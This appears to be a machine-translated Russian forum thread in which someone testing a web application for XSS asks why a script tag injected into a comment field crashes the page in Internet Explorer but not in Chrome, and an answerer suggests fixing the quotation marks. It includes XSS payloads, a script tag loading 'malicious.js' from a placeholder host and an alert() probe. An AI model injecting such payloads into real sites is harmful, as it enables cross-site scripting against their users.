2013-03-14 3 views
0

Я тестирую веб-приложение против атаки xss. В том, что есть список событий, и каждый из них имеет комментарий область, в одном из событий, я вставил этот скрипт,Сбой веб-приложения из-за сценария XSS в IE, но не в google chrome, но оба браузера обрабатывают скрипт?

<script src=”http://www.example.com/malicious.js”></script > 

Событие показало флаг, что есть комментарий, но он не получает отображается , Проблема здесь всякий раз, когда я нажимаю на это событие, приложение вылетает, и браузер дает «страницу восстановления».

Но в Chrome он принимает этот скрипт, отображает его как пустой комментарий (""), и его почему-то не разбивается?

Я сбрасываю настройки браузера в IE, но появляется та же проблема. Так из-за того, что Chrome не обрабатывает вирус (не уверен), или IE его обрабатывает?

И я попробовал этот сценарий,

<script >alert("Hello");</script > 

Оба браузера действует в том же способами без сбоев.

Не могли бы вы дать мне представление о том, что происходит в нем?

ответ

0

Возможно, вы используете нестандартные кавычки. Попробуйте заменить следующим образом:

<script src="http://www.example.com/malicious.js"></script> 
+0

Я также попытался использовать стандартные знаки четности, но то же самое происходит (я имею в виду крах). В этом скрипте, изменив кавычки , его не отображает предупреждение, но все равно отображается пустой комментарий. – 2013-03-14 14:02:46

+0

В этом случае это может быть до кода в файле, который вы связываете. Попробуйте сохранить рабочий сценарий в файле, а затем выполните тот же метод в первом примере, с новым базовым файлом и посмотрите, не портится ли он. –

+0

работает с командой предупреждения. Но какова проблема с тем, что при использовании этого кода , но хром в порядке – 2013-03-14 14:07:35